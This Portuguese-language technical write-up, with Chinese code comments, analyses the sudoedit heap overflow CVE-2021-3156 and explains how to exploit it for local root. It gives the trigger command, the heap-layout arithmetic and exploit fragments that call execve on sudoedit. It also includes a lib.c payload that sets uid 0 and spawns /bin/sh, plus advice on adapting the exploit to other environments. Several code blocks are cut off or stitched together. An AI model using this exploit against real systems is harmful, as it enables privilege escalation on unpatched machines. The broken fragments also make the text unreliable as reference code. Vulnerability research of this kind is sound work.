O conteúdo relacionado à depuração é visto mais adiante em [alguns comandos de depuração](#一些调试命令)


## Princípio da vulnerabilidade

payload de acionamento de vulnerabilidade```shell
sudoedit -s '\' `python3 -c "print('A'*80)"`

··· ···
··· ···

/* Parse command line arguments. */
//在这里处理输入参数，设置sudo_mode
sudo_mode = parse_args(argc, argv, &nargc, &nargv, &settings, &env_add);

··· ···
··· ···
    
switch (sudo_mode & MODE_MASK) {
··· ···
··· ···
case MODE_EDIT:
case MODE_RUN:
    ok = policy_check(&policy_plugin, nargc, nargv, env_add,
	&command_info, &argv_out, &user_env_out);
    ··· ···
    ··· ···
}

··· ···
··· ···

- Primeiro, chame a função parse_args para processar os parâmetros que inserimos. Na verdade, aqui inserimos apenas um `-s`, nada para definir, defina sudo_mode como MODE_EDIT e MODE_SHELL.
- Então, dependendo do sudo_mode, MODE_EDIT chamará policy_check.

Em seguida, está em sudo.c a função policy_check (sudo.c: 1136):```c
static int
policy_check(struct plugin_container *plugin, int argc, char * const argv[],
    char *env_add[], char **command_info[], char **argv_out[],
    char **user_env_out[])
{
    ··· ···
    ··· ···
    ret = plugin->u.policy->check_policy(argc, argv, env_add, command_info,
	argv_out, user_env_out);
    ···
}

exec_args.argv = argv_out;
exec_args.envp = user_env_out;
exec_args.info = command_infop;

ret = sudoers_policy_main(argc, argv, 0, env_add, &exec_args);
··· ···
··· ···

Em seguida, a função sudoers_policy_main em sudoers.c foi chamada (sudoers.c: 224):```c
int
sudoers_policy_main(int argc, char * const argv[], int pwflag, char *env_add[],
    void *closure)
{
    ··· ···
    ··· ···

    /*
     * Make a local copy of argc/argv, with special handling
     * for pseudo-commands and the '-i' option.
     */
    if (argc == 0) {
	··· ···
    } else {
	/* Must leave an extra slot before NewArgv for bash's --login */
	NewArgc = argc;
	NewArgv = reallocarray(NULL, NewArgc + 2, sizeof(char *));
	··· ···
	}
	memcpy(++NewArgv, argv, argc * sizeof(char *));
	NewArgv[NewArgc] = NULL;
	··· ···
	}
    }
	··· ···
    cmnd_status = set_cmnd();
    ··· ···
    ··· ···
    ··· ···
}

/* set user_args */
if (NewArgc > 1) {
    char *to, *from, **av;
    size_t size, n;

    /* Alloc and build up user_args. */
    //根据参数总长度计算size， 后续malloc 申请，没有问题
    for (size = 0, av = NewArgv + 1; *av; av++)
	size += strlen(*av) + 1;
    if (size == 0 || (user_args = malloc(size)) == NULL) {
	sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
	debug_return_int(-1);
    }
    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
	/*
	 * When running a command via a shell, the sudo front-end
	 * escapes potential meta chars.  We unescape non-spaces
	 * for sudoers matching and logging purposes.
	 */
     //将所有参数拷贝到一起放到堆中，逻辑是遇到'\'加非空格类型字符则只拷贝非空格字符
     //但这里\x00 并不算空格类型字符
     //他没有考虑参数如果只有一个'\'或以'\'结尾并且下两个字符后就是另一个字符串情况
	for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
	    while (*from) {
		if (from[0] == '\\' && !isspace((unsigned char)from[1]))
		    from++;
		*to++ = *from++;
	    }
	    *to++ = ' ';
	}
	*--to = '\0';
    } 
    ··· ···
}
}
··· ···
··· ···

O estouro também ocorre aqui, como pode ser visto nos comentários do código. O estouro de heap ocorre ao copiar para o heap. A intenção original deste trecho de código é copiar todos os parâmetros de NewArgv para o heap, separados por espaços, e quando encontrar `\+caractere não espaço`, copiar apenas esse caractere.

**Mas ele não considerou uma situação: se um elemento de NewArgv termina com `\`, então temos a estrutura `\+\x00`, e `\x00` não é um caractere de espaço (incrivelmente). Isso significa que, após copiar `\x00` para o heap, a variável `from` é incrementada (duas vezes em um loop) e passa direto pela condição de término do while (`\x00`), fazendo com que o programa pense que os parâmetros não foram totalmente copiados e continue copiando até encontrar o próximo `\x00`.**

Nesse cenário, pode-se ver que `\+\x00` é imediatamente seguido pelo próximo parâmetro `A*80`, então a cópia continuará até o final de `A*80`. Mas não esqueça que, em seguida, o parâmetro `A*80` ainda será processado normalmente, resultando em uma segunda cópia. Portanto, `A*80` é copiado duas vezes no total, mas o chunk foi alocado com base no tamanho de apenas uma string `A*80`, excedendo em muito o tamanho alocado.

image-20220123113907744

Então ocorre o estouro, antes da cópia:

image-20220123114036691

Depois da cópia:

image-20220123114137794

O caminho geral de disparo da vulnerabilidade é (ao depurar, basta definir pontos de interrupção nestas funções):

- sudo.c : main
  - sudo.c : policy_check
    - policy.c : sudoerrs_policy_check
      - sudoers.c : sudoers_policy_main
        - sudoers.c : set_cmnd
          - sudoers.c : 859

## Princípio de Exploração da Vulnerabilidade

Referência: [blasty/CVE-2021-3156](https://github.com/blasty/CVE-2021-3156). **Mas o método de layout de heap dele é difícil de encontrar; aqui analisamos detalhadamente o método de layout de heap.** Usando a variável de ambiente `LC_*` para organizar o heap, o chunk que transborda irá sobrescrever exatamente a estrutura `service_user` que a função `nss_load_library` precisa carregar para a biblioteca compartilhada (so). Sobrescrevendo a string do nome da biblioteca nessa estrutura, fazemos o programa carregar a biblioteca que especificamos, permitindo a execução de código arbitrário.

Embora a lógica pareça clara, os detalhes a serem resolvidos ainda são bastante complicados:

1. Estruturas de dados e mecanismos relacionados em `nss_load_library`
2. Como `setlocale` usa a variável de ambiente `LC_*` para fazer o layout do heap

A seguir, chamaremos o chunk onde ocorre o estouro (vulnerável) de **vuln chunk**, e o alvo do estouro de **target chunk**.

### Princípio do nss

Primeiro, veja o código chave para a exploração:

glibc/nss/nsswitch.c: 377 nss_load_library()```c
static int
nss_load_library (service_user *ni)
{
  if (ni->library == NULL)
    {
      static name_database default_table;
      ni->library = nss_new_service (service_table ?: &default_table,
				     ni->name);
      if (ni->library == NULL)
	return -1;
    }

  if (ni->library->lib_handle == NULL)
    {
      ··· ···
      __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
					      "libnss_"),
				    ni->name),
			  ".so"),
		__nss_shlib_revision);

      ni->library->lib_handle = __libc_dlopen (shlib_name);
      ··· ···
      ··· ···
  }
}

Este é um ficheiro de configuração que, através destas vias e ordem (basicamente, quais as bibliotecas partilhadas (so) utilizadas) registadas aqui, define como os métodos são procurados. Também é possível especificar que ações o sistema deve tomar quando um determinado método é bem-sucedido ou falha.

O que percebo é que define de onde o programa precisa de obter as informações necessárias, como informações do utilizador, rede, endereço, etc. Na prática, isso traduz-se em chamar essa função a partir de uma biblioteca partilhada (so) diferente. A implementação dessa função nas diferentes "so" é o método para obter essa informação.

A seguir, vejamos três estruturas:```c
typedef struct service_user
{
  /* And the link to the next entry.  */
  struct service_user *next;
  /* Action according to result.  */
  lookup_actions actions[5];
  /* Link to the underlying library object.  */
  service_library *library;
  /* Collection of known functions.  */
  void *known;
  /* Name of the service (`files', `dns', `nis', ...).  */
  char name[0];
} service_user;

typedef struct name_database_entry
{
  /* And the link to the next entry.  */
  struct name_database_entry *next;
  /* List of service to be used.  */
  service_user *service;
  /* Name of the database.  */
  char name[0];
} name_database_entry;

typedef struct name_database
{
  /* List of all known databases.  */
  name_database_entry *entry;
  /* List of libraries with service implementation.  */
  service_library *library;
} name_database;

glibc/nss/nsswitch.c : 541```c
static name_database *
nss_parse_file (const char *fname)
{
  FILE *fp;
  name_database *result;
  name_database_entry *last;
  ··· ···
  //打开/etc/nsswitch.conf
  fp = fopen (fname, "rce");
  ··· ···
  result = (name_database *) malloc (sizeof (name_database));
  ··· ···
  do
    {
      name_database_entry *this;
      ssize_t n;
      n = __getline (&line, &len, fp);// getline 这里会申请一个0x80 大小的chunk
      
      ··· ···
          
      this = nss_getline (line);
      if (this != NULL)
	{
	  if (last != NULL)
	    last->next = this;
	  else
	    result->entry = this;

	  last = this;
	}
    }
  while (!feof_unlocked (fp));

  /* Free the buffer.  */
  free (line); //在函数返回之前会将getline 函数申请的0x80 chunk 释放掉。
  /* Close configuration file.  */
  fclose (fp);

  return result;
}

Primeiro, chama `__nss_database_lookup` com base no `DATABASE_NAME_STRING` passado (conteúdo como passwd, group, shadow, etc.) para encontrar o service correspondente: ou seja, pesquisa a área vermelha na figura abaixo para encontrar uma correspondência e retorna o ponteiro do service. Se for a primeira pesquisa e as entradas estiverem todas vazias, será inicializado (conforme mencionado acima).

image-20220123133933696

Em seguida, chama `__nss_lookup` que chama `__nss_lookup_function` em loop para pesquisar o service onde a função correspondente está localizada com base na lista encadeada de services, depois chama `nss_load_library`, obtém o handle da biblioteca compartilhada (so), e então procura a função correspondente. O código é o seguinte:

glibc/nss/nsswitch.c : 194```c
int
__nss_lookup (service_user **ni, const char *fct_name, const char *fct2_name,
	      void **fctp)
{
  *fctp = __nss_lookup_function (*ni, fct_name);
  ··· ···
  while (*fctp == NULL
	 && nss_next_action (*ni, NSS_STATUS_UNAVAIL) == NSS_ACTION_CONTINUE
	 && (*ni)->next != NULL)
    {
      *ni = (*ni)->next;

      *fctp = __nss_lookup_function (*ni, fct_name);
      ··· ···
    }

  return *fctp != NULL ? 0 : (*ni)->next == NULL ? 1 : -1;
}
libc_hidden_def (__nss_lookup)

  if (ni->library->lib_handle == (void *) -1l)
    /* Library not found => function not found.  */
    result = NULL;
  else
    {
      ··· ···
          
      /* Construct the function name.  */
      __stpcpy (__stpcpy (__stpcpy (__stpcpy (name, "_nss_"),
				    ni->name),
			  "_"),
		fct_name);

      /* Look up the symbol.  */
      result = __libc_dlsym (ni->library->lib_handle, name);
    }
    
    ··· ···
    ··· ···

}
···

Pode-se ver que, sempre que uma função dentro de `libnss_xxx.so` é chamada, inevitavelmente `nss_load_library` será invocada, mesmo que o SO já tenha sido carregado. Portanto, com base na ideia do exp conhecido, **basta saber a qual SO pertence a primeira função relacionada ao libnss chamada após a ocorrência do heap overflow e, em seguida, através do layout do heap, posicionar a estrutura `service_user` desse SO atrás do chunk vulnerável. No entanto, com base nos meus testes em vários ambientes, descobri que, mesmo na mesma versão, a estrutura do código compilado por nós mesmos é diferente da versão da distribuição**. Aqui, usarei meu próprio ambiente de depuração para reanalisar e escrever um exp.

### De volta ao ambiente de depuração

O ambiente de depuração que montei (docker) é o sudo que compilei por conta própria, com símbolos de depuração. As informações específicas são as seguintes:```
ubuntu 18.04 LTS
libc-2.27
sudo 1.8.21

    if (newdata[category] == NULL)
      {//返回null 则会跳出循环
	···
	break;
      }

    ··· ···

    /* Make a copy of locale name.  */
    if (newnames[category] != _nl_C_name)
      {
	if (strcmp (newnames[category],
		    _nl_global_locale.__names[category]) == 0)
	  newnames[category] = _nl_global_locale.__names[category];
	else
	  {
        //这个strdup 很关键
	    newnames[category] = __strdup (newnames[category]);
	    if (newnames[category] == NULL)
	      break;
	  }
      }
  }

  /* Create new composite name.  */
  composite = (category >= 0
	   ? NULL : new_composite_name (LC_ALL, newnames));
  if (composite != NULL)
{
    ··· ···
}
  else
for (++category; category < __LC_LAST; ++category)//校验
  if (category != LC_ALL && newnames[category] != _nl_C_name
      && newnames[category] != _nl_global_locale.__names[category])
    //这个free 很关键，这里是一处循环free，可以集中free 一堆chunk
    free ((char *) newnames[category]);

  /* Critical section left.  */
  __libc_rwlock_unlock (__libc_setlocale_lock);

  /* Free the resources.  */
  free (locale_path);
  free (locale_copy);

  return composite;
}

··· ···
··· ···
  

A função `setlocale` está relacionada a algumas questões confusas de localidade, e os parâmetros de variáveis de ambiente relevantes são os seguintes:```c
#define __LC_CTYPE		 0
#define __LC_NUMERIC		 1
#define __LC_TIME		 2
#define __LC_COLLATE		 3
#define __LC_MONETARY		 4
#define __LC_MESSAGES		 5
#define __LC_ALL		 6
#define __LC_PAPER		 7
#define __LC_NAME		 8
#define __LC_ADDRESS		 9
#define __LC_TELEPHONE		10
#define __LC_MEASUREMENT	11
#define __LC_IDENTIFICATION	12

  if (locale_file == NULL)
return NULL;
}

Na função `_nl_find_locale`, primeiro chama a função `_nl_explode_name` para atribuir a mask com base no valor da variável de ambiente (como eu disse nos comentários do código), verificando principalmente se existem três itens: país, idioma e sufixo definido pelo usuário. Se existirem, define a mask correspondente, onde o idioma define dois, totalizando quatro. Em seguida, chamar a função `_nl_make_l0nflist` fará com que `_nl_find_locale` retorne vazio, disparando o break do loop dentro de `setlocale` acima (importante).

A seguir, veja a função `_nl_make_l0nflist`:

glibc/intl/l0nflist.c : 150```c
struct loaded_l10nfile *
_nl_make_l10nflist (struct loaded_l10nfile **l10nfile_list,
		    const char *dirlist, size_t dirlist_len,
		    int mask, const char *language, const char *territory,
		    const char *codeset, const char *normalized_codeset,
		    const char *modifier,
		    const char *filename, int do_allocate)
{
  char *abs_filename;
  struct loaded_l10nfile *last = NULL;
  struct loaded_l10nfile *retval;
  char *cp;
  size_t entries;
  int cnt;

  /* Allocate room for the full file name.  */
  //根据mask 的值会组成不同的文件路径，长度自然不同，根据长度申请chunk
  abs_filename = (char *) malloc (dirlist_len
				  + strlen (language)
				  + ((mask & XPG_TERRITORY) != 0
				     ? strlen (territory) + 1 : 0)
				  + ((mask & XPG_CODESET) != 0
				     ? strlen (codeset) + 1 : 0)
				  + ((mask & XPG_NORM_CODESET) != 0
				     ? strlen (normalized_codeset) + 1 : 0)
				  + ((mask & XPG_MODIFIER) != 0
				     ? strlen (modifier) + 1 : 0)
				  + 1 + strlen (filename) + 1);

  if (abs_filename == NULL)
    return NULL;

  retval = NULL;
  last = NULL;

  /* Construct file name.  */
  //根据文件名，也就是mask决定的内容进行拼接文件名
  memcpy (abs_filename, dirlist, dirlist_len);
  __argz_stringify (abs_filename, dirlist_len, ':');
  cp = abs_filename + (dirlist_len - 1);
  *cp++ = '/';
  cp = stpcpy (cp, language);

  if ((mask & XPG_TERRITORY) != 0)
    {
      *cp++ = '_';
      cp = stpcpy (cp, territory);
    }
  if ((mask & XPG_CODESET) != 0)
    {
      *cp++ = '.';
      cp = stpcpy (cp, codeset);
    }
  if ((mask & XPG_NORM_CODESET) != 0)
    {
      *cp++ = '.';
      cp = stpcpy (cp, normalized_codeset);
    }
  if ((mask & XPG_MODIFIER) != 0)
    {
      *cp++ = '@';
      cp = stpcpy (cp, modifier);
    }

  *cp++ = '/';
  stpcpy (cp, filename);

  ··· ···
  //如果已经已经存在同名文件，则释放刚申请的chunk
  if (retval != NULL || do_allocate == 0)
    {
      free (abs_filename);
      return retval;
    }

  retval = (struct loaded_l10nfile *)
    malloc (sizeof (*retval) + (__argz_count (dirlist, dirlist_len)
				* (1 << pop (mask))
				* sizeof (struct loaded_l10nfile *)));
  if (retval == NULL)
    {
      free (abs_filename);
      return NULL;
    }

  retval->filename = abs_filename;
  /* If more than one directory is in the list this is a pseudo-entry
     which just references others.  We do not try to load data for it,
     ever.  */
  retval->decided = (__argz_count (dirlist, dirlist_len) != 1
		     || ((mask & XPG_CODESET) != 0
			 && (mask & XPG_NORM_CODESET) != 0));
  retval->data = NULL;

  if (last == NULL)
    {
      retval->next = *l10nfile_list;
      *l10nfile_list = retval;
    }
  else
    {
      retval->next = last->next;
      last->next = retval;
    }

  entries = 0;
  /* If the DIRLIST is a real list the RETVAL entry corresponds not to
     a real file.  So we have to use the DIRLIST separation mechanism
     of the inner loop.  */
  //这里会进行递归的搜索，根据mask 来讲所有的组合全部找到
  //每次mask 值会-1，这样遍历所有mask可能
  cnt = __argz_count (dirlist, dirlist_len) == 1 ? mask - 1 : mask;
  for (; cnt >= 0; --cnt)
    if ((cnt & ~mask) == 0)
      {
	/* Iterate over all elements of the DIRLIST.  */
	char *dir = NULL;

	while ((dir = __argz_next ((char *) dirlist, dirlist_len, dir))
	       != NULL)
	  retval->successor[entries++]
	    = _nl_make_l10nflist (l10nfile_list, dir, strlen (dir) + 1, cnt,
				  language, territory, codeset,
				  normalized_codeset, modifier, filename, 1);
      }
  retval->successor[entries] = NULL;

  return retval;
}

Onde dir(/usr/lib/locale), language(C), filename(nome de variável de ambiente) são fixos, o conteúdo entre colchetes é gerado opcionalmente de acordo com o valor mask. Por exemplo:```
LC_IDENTIFICATION=C.UTF-8@AAAAAAAAAAA

Dependendo de diferentes masks, pode gerar:```
1011: /usr/lib/locale/C.UTF-8.utf8@AAAAAAAAAAA/LC_IDENTIFICATION
0000: /usr/lib/locale/C/LC_IDENTIFICATION
1111: /usr/lib/locale/C.UTF-8.utf8@AAAAAAAAAAA/LC_IDENTIFICATION
0111: /usr/lib/locale/C.UTF-8.utf8/LC_IDENTIFICATION

Calcular x, y tal que:```
(x+y)+(x+y)+(x+y+1)+(x+y-2)+... ...+(y+1) 刚好 < 0x650 
2x+y = 0xa0-0x10

Do meu lado, a solução é:```
x=11
y=121

while ((signed int)(offset-len)<2)
{
    x--;
    y=size-1-x*2;
    len=x+y+(x+y+1)*x/2;
    if(x<0)
        return -1;
}
int envoff=offset-len-2+0x30;
printf("%d,%d,%d\n",x,y,len);
char * Astring=malloc(size);
int i=0;
for(i=0;i<y;i++)
    Astring[i]='A';
Astring[i]='\x00';

argv[argvnow++]="sudoedit";
argv[argvnow++]="-s";
for (i=0;i<x;i++)
    argv[argvnow++]="\\";
argv[argvnow++]=Astring;
argv[argvnow++]="\\";
argv[argvnow++]=NULL;
for(i=0;i<envoff;i++)
    envp[envnow++]="\\";
envp[envnow++]="X/test";
return 0;

execve("/usr/local/bin/sudoedit",argv,envp);

lib.c da seguinte forma:```c
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

static void __attribute__ ((constructor)) _init(void);

static void _init(void) {
        printf("[+] bl1ng bl1ng! We got it!\n");
#ifndef BRUTE
        setuid(0); seteuid(0); setgid(0); setegid(0);
        static char *a_argv[] = { "sh", NULL };
        static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
        execv("/bin/sh", a_argv);
#endif
}

Sucesso：

image-20220123115529219

### Método para modificar o exp para ambientes específicos

Principalmente para facilitar a própria pesquisa e depuração, não para ataques reais. Para ataques reais, ainda é recomendado usar força bruta. É necessário conhecer os seguintes pontos de acordo com o ambiente:

1. Tamanho controlável da vuln, ou seja, o free tcache deixado em setlocale, que não será consumido antes da solicitação da vuln. É necessário encontrar um tamanho adequado (correspondente a 0xa0 no meu exp).
2. Onde o vuln precisa ser posicionado, ou seja, quantos chunks de 0x40 existem antes do chunk vuln e quantos depois (correspondente às várias funções addChunk na função main do meu exp).
3. Distância do target chunk ao vuln chunk, ou seja, target chunk addr - vuln chunk addr (correspondente a 0x650 no meu exp).

Modificando os três pontos acima, basicamente há uma grande probabilidade de sucesso direto.

## Fatores que afetam a exploração da vulnerabilidade

Há muitos fatores que afetam o layout da heap. Para a mesma versão do sudo, diferentes opções de compilação podem alterar o layout da heap (se houver adição ou remoção de funções de alocação de heap antes do estouro, há uma grande probabilidade de alterar o layout da heap).

O layout da heap do sudo da distribuição e da versão compilada por você mesmo são diferentes.

Diferenças no arquivo de configuração global do sudo também afetam.

Arquivos comuns como passwd também afetam.

Diferenças no arquivo nsswitch.conf afetam.

Versão do glibc

Outros ambientes globais (ou arquivos de ambiente)

## Medidas de mitigação

Atualize para a versão mais recente.

## Alguns comandos de depuração```
watch rwatch awatch 内存断点
catch exec
set follow-exec-mode new 调试exp 的时候捕获子进程

Verifique a função nss chamada mais cedo após o estouro de heap, primeiro interrompa no ponto de estouro:```
b policy_check  #先断离溢出点比较近的位置，直接断溢出点找不到
c
b sudoers.c:849 #malloc前
b sudoers.c:859 #溢出chunk 刚申请完毕
b sudoers.c:867 #溢出完成
c #断住之后再断nss_load_library
b nss_load_library 
c #断nss_load_library
bt #查看调用栈

## Referências

Blog de um especialista interno da empresa

52破解博客: https://www.52pojie.cn/thread-1439734-1-1.html

blasty's POC: https://github.com/blasty/CVE-2021-3156